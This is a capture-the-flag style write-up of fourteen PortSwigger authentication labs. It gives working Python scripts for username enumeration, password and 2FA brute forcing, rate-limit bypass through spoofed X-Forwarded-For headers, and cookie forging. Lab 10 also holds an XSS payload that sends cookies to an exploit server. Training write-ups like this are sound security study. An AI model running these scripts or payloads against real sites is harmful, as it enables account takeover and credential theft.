Portswigger Labs

Lab 1: Username Enumeration

To solve this lab, brute force the credentials with the given wordlists to login.

This website shows 'Invalid username` when an invalid username is used:

I scripted this entire process. First, I brute forced the username to find that archie was valid.

users = open('users.txt','r')
for i in users:
	trial = i.rstrip('\n')
	login_data = {
		'username':trial,
		'password':'test'
	}
	r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False)
	if 'Invalid username' not in r.text:
		print(f'[+] Valid username: {trial}')
		sys.exit(1)

Afterwards, brute force the password based on the fact that 'Incorrect password' is printed on the screen:

passwords = open('pass.txt','r')
for i in passwords:
	trial = i.rstrip('\n')
	login_data = {
		'username':'archie',
		'password':trial
	}
	r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False)
	if 'Incorrect password' not in r.text:
		print(f'[+] Valid password: {trial}')
		sys.exit(1)

zxcvbn is the correct password. This script auto-solves the lab.

Lab 2: 2FA Bypass

This lab gives us valid credentials, and requires us to bypass the 2FA to solve the lab. I have access to an email client for this lab.

When logging in using wiener credentials, I can see that I am emailed a code:

This is used for the 2FA mechanism:

I noticed that when logging in with carlos creds, I saw this GET request to /login2:

The above led to the 2FA portion. I dropped this request, and directly visited /my-account?id=carlos. This solved the lab!

Lab 3: Broken Password Reset

This lab has a password reset feature that's broken. This requires a username / email:

Submitting that results in this email:

This brought me here:

When submitted, it resulted in a POST request being sent, and it had a username parameter:

I changed the username to carlos, and could login with the password of test which I specified.

Lab 4: Username Enum using Subtly different responses

This lab requires us to brute force again, but this time the condition for a valid username results in a subtly different response.

Entering random creds results in the same error:

For this case, I used the same brute force script, but this time I outputted the response text into a file and then compared it when the next request.

This would ensure that I capture every difference. I copied the HTML from a request into a sample.txt.

However, this method didn't really work since each of the responses had a different ID for analytics purposes:

$ diff sample.txt out.txt  
10c10
<         <script>fetch('/analytics?id=3099042762')</script>
---
>         <script>fetch('/analytics?id=916324608')</script>

In this case, I opted to compare the error message of each file:

<p class=is-warning>Invalid username or password.

This can be done using a simple regex check to see if the string exists on the page:

match = re.search(r'(Invalid username or password\.)', r.text)
if not match:
	print(f'[+] Found diff response using: {trial}')
	find_password(trial)

The above would return a different result for the atlas user, which I manually verified:

The above message does not have a fullstop, and as such I could find a valid user and solve the lab:

import requests
import re
import sys
import itertools
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0abd00b00398cb7781d4614000ea00c6'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
cookies = {
	'session':'QvqnVhG9TBcT2TXbw18p5lp2oddBgqw1'
}
s = requests.Session()

def find_user():
	users = open('users.txt','r')
	for i in users:
		trial = i.rstrip('\n')
		login_data = {
			'username': trial,
			'password': 'test'
		}
		r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False)
		match = re.search(r'(Invalid username or password\.)', r.text)
		if not match:
			print(f'[+] Found diff response using: {trial}')
			find_password(trial)

def find_password(user):
	passwords = open('pass.txt','r')
	for i in passwords:
		trial = i.rstrip('\n')
		login_data = {
			'username':user,
			'password':trial
		}
		r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False)
		if 'Invalid username or password' not in r.text:
			print(f'[+] Valid password for {user}: {trial}')
			sys.exit(1)

find_user()

Lab 5: Response Timing Enumeration with Brute Force Bypass

When testing with a valid user wiener, the length of the password entered changes the response time.

With a short password it takes 389 ms. With a much longer password, it takes longer!

A few attempts causes this error message to appear though:

This can be bypassed using the X-Forwarded-For header. Using this, I can create a script to enter a really long password, and check the response time. If I get blocked, I can just modify the X-Forwarded-For header to bypass the IP ban.

I used a really long password to get a very long response time. Here's the find_user function:

def find_user():
	users = open('users.txt','r')
	num = 1

	for i in users:
		trial = i.rstrip('\n')
		headers = {
	 		'X-Forwarded-For':f'192.168.0.{str(num)}'
		}
		login_data = {
			'username': trial,
			'password': long_password
		}
		r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)

		if 'You have made too many incorrect' in r.text:
			num += 1
			headers = {
	 			'X-Forwarded-For':f'192.168.0.{str(num)}'
			}
			## resend rq
			r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)		

		if r.elapsed.total_seconds() > 3:
			print(f'[+] Found user: {trial}')
			return trial

This would find the usename affiliate. From here, the find_password function is similar. Note that this uses 192.168.2.0/24 now.

def find_password(user):
	passwords = open('pass.txt','r')
	num = 1
	for i in passwords:
		trial = i.rstrip('\n')
		headers = {
	 		'X-Forwarded-For':f'192.168.0.{str(num)}'
		}
		login_data = {
			'username':user,
			'password':trial
		}
		r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)

		if 'You have made too many incorrect' in r.text:
			num += 1
			headers = {
	 			'X-Forwarded-For':f'192.168.2.{str(num)}'
			}
			r = s.post(url + '/login', proxies=proxies, data=login_data, cookies=cookies, verify=False, headers=headers)	
		if 'Invalid username or password' not in r.text:
			print(f'[+] Valid password for {user}: {trial}')
			sys.exit(1)

When find_password exits, the lab will be solved.

Lab 6: Brute Force Protection Bypass

This lab has a similar protection to the previous lab, except that now there is no X-Forwarded-For header to use. This time, the lab gave us the valid username of carlos.

When I tried 3 times, it blocked me:

I tried again, and this time before my third try, I logged into the wiener account. This reset the number of tries I had, and I could continue after logging out.

This script was pretty easy to code.

def find_password():
	passwords = open('pass.txt','r')
	state = 1

	for i in passwords:
		trial = i.rstrip('\n')

		trial_data = {
			'username':'carlos',
			'password':trial
		}
		if state == 0 or state == 1:
			r = s.post(url + '/login', proxies=proxies, data=trial_data,verify=False)
			
			if 'Incorrect password' not in r.text:
				print(f'[+] Valid password for carlos: {trial}')
				sys.exit(1)
			else:
				state += 1
				continue
		else:
			wiener_r = s.post(url + '/login', proxies=proxies, data=wiener_data, verify=False)
			wiener_r = s.get(url + '/logout', proxies=proxies, verify=False)
			state = 0

Lab 7: Username Enumeration via Account Lock

This lab has account locking, but contains a logic flaw. To solve the lab, login as the valid user.

Based on the lab hint, I expected that brute force attempts would eventually block my account, but that was not the case with the random usernames I was using.

My guess was that repeated attempts with the valid username would result in me getting blocked.

As such, I created a script to send 5 requests per username, and check whether the response contained the Invalid username or password error.

users = open('users.txt', 'r')
for u in users:
	for i in range(6):
		data = {
			'username':u.strip(),
			'password':'test'
		}
		r = s.post(url + '/login', data=data, verify=False, proxies=proxies)
		if 'Invalid username or password' not in r.text:
			print(f'[+] Different response observed for {u}')
			sys.exit(0)

This would return a different response for the alabama user:

$ python3 lab8.py
[+] Different response observed for alabama

When checking the response, I saw that it displayed the account lockout error:

Now, time to brute force the password. While I could make the script sleep for 61s after encountering account lockout, that would take too long. Instead, I tried to brute force the password by checking whether the Invalid username and You have many too many incorrect login attempts errors were present.

This worked! Here's the final script to solve the lab:

def find_password(user):
	passwords = open('pass.txt','r')
	for p in passwords:
		data = {
			'username':user,
			'password':p.strip()
		}
		r = s.post(url + '/login', data=data, verify=False, proxies=proxies)
		
		if 'Invalid username or password' not in r.text and 'You have made too many incorrect login attempts.' not in r.text:
				print(f'[+] Password for {user} is {p}.')
				return


def find_user():
	users = open('users.txt', 'r')
	for u in users:
		for i in range(6):
			data = {
				'username':u.strip(),
				'password':'test'
			}
			r = s.post(url + '/login', data=data, verify=False, proxies=proxies)
			if 'Invalid username or password' not in r.text:
				print(f'[+] Different response observed for {u}')
				return u.strip()

user = find_user()
password = find_password(user)
time.sleep(61)
data = {
	'username':user
	'password':password
}
r = s.post(url + '/login', data=data, verify=False, proxies=proxies)

Lab 8: 2FA Broken Logic

This lab has vulnerable 2FA logic. When taking a look at the login process for the wiener user, I saw this:

It seems that the page with the 2FA logic has a verify cookie that looks exploitable.

There's also a GET request with the same parameters:

I also noticed that the 2FA feature did not have any brute force protection, and I was free to try this as many times as I wanted. Resending the GET request generates another 2FA code.

There seemed to be no other way of getting credentials, so I scripted the following:

  1. Send a GET request to login2 to generate the 2FA code for carlos.

  2. Brute force all 4 digit numbers.

import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0aca0091049d510182f26f48009d0023'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

cookies = {
	'verify':'carlos'
}

r = s.get(url + '/login2', verify=False, proxies=proxies, cookies=cookies)
if "Please enter your 4-digit" not in r.text:
	print('[-] Failed to generate 2FA for carlos')
	sys.exit(1)

print('[+] Generated 2FA for carlos')

while True:
	for i in range(10000):
		mfa = '{0:04}'.format(i)
		data = {
			'mfa-code':mfa
		}
		r = s.post(url + '/login2', verify=False, proxies=proxies, cookies=cookies, data=data)
		if 'Incorrect security code' not in r.text:
			print(f'[+] Correct code: {mfa}')
			s.get(url + '/my-account?id=carlos', verify=False, proxies=proxies, cookies=cookies)
			sys.exit(1)

This script will solve the lab...eventually.

Lab 9: Stay-Logged-In Cookie

This lab has a vulnerable stay logged in cookie. For this, I have to do brute forcing of the password for carlos.

When I logged in as wiener and chose to stay logged in, there was a cookie passed:

A quick check on CrackStation reveals that this hash was an MD5 hash for peter.

I can quickly create a brute force script for this, since I can attempt to access carlos account using this cookie.

import requests
import re
import sys
import hashlib
import base64 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0aab005b04c539908141ace600e000b0'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

passwords = open('pass.txt', 'rb')
for i in passwords:
	hashed_password = hashlib.md5(i.strip()).hexdigest()
	plaintext = 'carlos:' + str(hashed_password)
	plaintext = plaintext.encode("ascii")
	base64_bytes = base64.b64encode(plaintext) 
	carlos_cookie = base64_bytes.decode("ascii")
	cookies = {
		'stay-logged-in':carlos_cookie
	}
	r = s.get(url + '/my-account?id=carlos', cookies=cookies, proxies=proxies, verify=False)
	if 'Your username is:' in r.text:
		print(f"Password is {i}")
		sys.exit()

The script above solves the lab.

Lab 10: Offline password cracking

To solve this lab, delete carlos account. T his lab contains an XSS in the comment section, and I am given an exploit server.

Tested the XSS:

And found that it works:

Now, I need to set the URL to the exploit server's, and steal the user's cookie via document.cookie.

I used this payload:

<img src=x onerror=this.src="https://exploit-0ab3003203a3ece482b4f5e601f50052.exploit-server.net/exploit/?c="+document.cookie>

And received the callback immediately:

The stay-logged-in cookie can be decoded using base64:

$ echo Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz | base64 -d
carlos:26323c16d5f4dabff3bb136f2460a943

And the hash can be cracked on CrackStation:

Log in as carlos and delete the account to solve the lab.

Lab 11: Password Reset Poisoning via Middleware

I'm given an exploit server with an email account. The carlos user also clicks on any links received. To solve the lab, log in as carlos.

I sent a password reset email to myself:

The POST request for this is rather interesting. Repeating the request sends another email.

I tampered with the request, and played around with it. I read through all the headers in the Mozilla documentation, and found that X-Forwarded-Host had some interesting effects.

I changed the value to test.com.

So I can change the host. This header is used to identify the original host requested by the client in the Host HTTP request header.

Since the user does not check the URL, I can redirect carlos to the exploit server by setting the header to the exploit server URL.

In the request, change the username parameter to carlos. In the access log, I will see this after sending the POST request.

I can then use the temp-password-token to reset the password for carlos.

Lab 12: Password Brute Force via Password Change

This lab has a vulnerable reset password feature. Logging in as wiener shows this:

Using this feature sends a POST request:

This returns a redirect to /login if I use a bogus current-password. Using the correct current-password results in a 200 being returned with this page:

I can change the username to carlos and attempt to brute force this password. However, this method does not work.

I noticed that when I used the correct current password, but different values for new-password-1 and new-password-2, this error is displayed:

When I used the wrong current password, it shows this instead:

That's a pretty easy vulnerability to script and exploit:

cookies = {
	'session':'wiener-cookie'
}

passwords = open('pass.txt','r')
for p in passwords:
	data = {
	'username':'carlos',
	'current-password':p.strip(),
	'new-password-1':'1234',
	'new-password-2':'5678'
}
	r = requests.post(url + '/my-account/change-password', data=data, verify=False, proxies=proxies, cookies=cookies)
	
	if 'New passwords do not match' in r.text:
		print(f'[+] Password for carlos is {p}.')
		sys.exit(0)

Lab 13: Multiple Creds per Request

To solve this lab, access the account of carlos. This lab uses JSON to send its login credentials:

For this, the lab tells us 'multiple credentials'. Similar to PHP, one can attempt to send an array in as the password instead of having a single string.

Sending an array does not trigger any funny errors:

Sending multiple passwords raises no errors, and so I created an array with ALL the possible passwords.

This returned a 302:

Repeating the request in the browser solves the lab!

Lab 14: 2FA Brute Force Bypass

This lab gives me carlos credentials, but has a faulty 2FA mechanism. Attempting to login requires a 2FA code:

The 3 main requests sent are:

When entering false codes, I have 2 tries before it sends me back to the /login page.

One attack path is logging in at /login, then sending a GET request to /login2. Afterwards, I can try brute-forcing the POST request to /login2. If I get kicked out, I can just reset the 'setup' process:

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a8a00080397486580b235a600340007'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

def setup():
	## LOGIN
	r = s.get(url + '/login', proxies=proxies, verify=False)
	match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
	login_csrf_token = match[1]

	carlos_data ={
		'csrf':login_csrf_token,
		'username':'carlos',
		'password':'montoya'
	}
	r = s.post(url + '/login', data=carlos_data, proxies=proxies, verify=False)

	## GET LOGIN2
	r = s.get(url + '/login2', proxies=proxies, verify=False)
	match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
	mfa_csrf_token = match[1]
	if "Please enter your 4-digit security code" not in r.text:
		print('[-] Get to login2 failed')
		exit()
	return mfa_csrf_token

## BRUTE FORCE LOGIN2
for i in range(10000):
	mfa = '{0:04}'.format(i)
	mfa_csrf_token = setup()
	mfa_data = {
		'csrf':mfa_csrf_token,
		'mfa-code':mfa
	}
	r = s.post(url + '/login2', proxies=proxies, verify=False, data=mfa_data)
	if "Invalid CSRF Token" in r.text:
		mfa_csrf_token = setup()
	if "Incorrect security code" not in r.text:
		print(f'[+] Correct code: {i}')
		exit()

This lab eventually solves the lab!

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